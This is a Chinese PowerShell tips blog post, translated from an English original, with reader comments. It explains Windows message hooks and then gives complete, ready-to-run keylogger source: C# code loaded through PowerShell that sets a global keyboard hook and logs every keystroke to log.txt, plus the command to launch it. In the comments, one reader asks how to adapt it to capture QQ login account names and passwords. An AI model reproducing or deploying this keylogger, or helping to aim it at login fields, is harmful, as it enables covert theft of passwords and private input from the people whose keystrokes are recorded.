Microsoft Windows 的应用程序是事件驱动的。操作系统的消息响应生成的各种条件 (如用户移动鼠标或单击按钮) 时,并将这些消息发送到应用程序窗口,在那里它们由消息处理程序来处理。应用程序还可以生成自己的消息 ;管理其自己的窗口,或影响与其他应用程序关联的窗口的行为。
它是可以编写自定义处理程序 (回调),将钩子到事件系统和拦截消息发送给应用程序。在处理消息之后, 回调可以抛弃它,或允许它来传递到下一个可用的处理程序。
有两个类别的事件钩: 本地和全局。一个当地的钩子只将响应发送到单个应用程序的消息。全球系统钩子将响应发送桌面会话的创建钩子的线程内的所有邮件。
下面的 C# 类 (在 PowerShell 中定义) 使用 SetWindowsHookEx 创建监视低层键盘输入的事件的全局钩子。引用的回调然后写入 log.txt 每个按键。
Add-Type -TypeDefinition @" using System; using System.IO; using System.Diagnostics; using System.Runtime.InteropServices; using System.Windows.Forms; namespace KeyLogger { public static class Program { private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; private const string logFileName = "log.txt"; private static StreamWriter logFile; private static HookProc hookProc = HookCallback; private static IntPtr hookId = IntPtr.Zero; public static void Main() { logFile = File.AppendText(logFileName); logFile.AutoFlush = true; hookId = SetHook(hookProc); Application.Run(); UnhookWindowsHookEx(hookId); } private static IntPtr SetHook(HookProc hookProc) { IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName); return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0); } private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); logFile.WriteLine((Keys)vkCode); } return CallNextHookEx(hookId, nCode, wParam, lParam); } [DllImport("user32.dll")] private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll")] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll")] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll")] private static extern IntPtr GetModuleHandle(string lpModuleName); } } "@ -ReferencedAssemblies System.Windows.Forms [KeyLogger.Program]::Main();
将上面的脚本保存为log.ps1,然后打开cmd输入:
powershell.exe -file log.ps1
这个时候你可以将鼠标焦点切换到其他应用程序,比如,IE,记事本等,然后敲击键盘。此时所有的按键记录都会记录在当前目录下的log.txt。
原文作者:Peter Hinchley
原文链接:Creating a key logger via a global system hook using PowerShell
最后强烈鄙视和唾弃那些用此方法盗取小白账号和密码的不道德行径。
本文链接: https://www.pstips.net/creating-a-key-logger-via-a-global-system-hook-using-powershell.html
请尊重原作者和编辑的辛勤劳动,欢迎转载,并注明出处!
请尊重原作者和编辑的辛勤劳动,欢迎转载,并注明出处!
菲,你教我们当黑客啊。
一直想学习下钩子的用法,但是这些函数真心不容易理解。
这个没必要学,用什么的时候,再学什么。个人感觉。
假设我想在此代码基础上改进一下,比如只监控QQ登录框的帐号密码输入?能否做到呢?
QQ密码框是腾讯严防死守的,哪那么容易
QQ刚出来的时候应当可以,现在肯定不行。
能否举个例子,你这个是全局钩子,如何动态获取某个窗口做一个钩子呢?
ps调用api太麻烦了,关键是调试不方便,这个东西还是用别的语言方便
多谢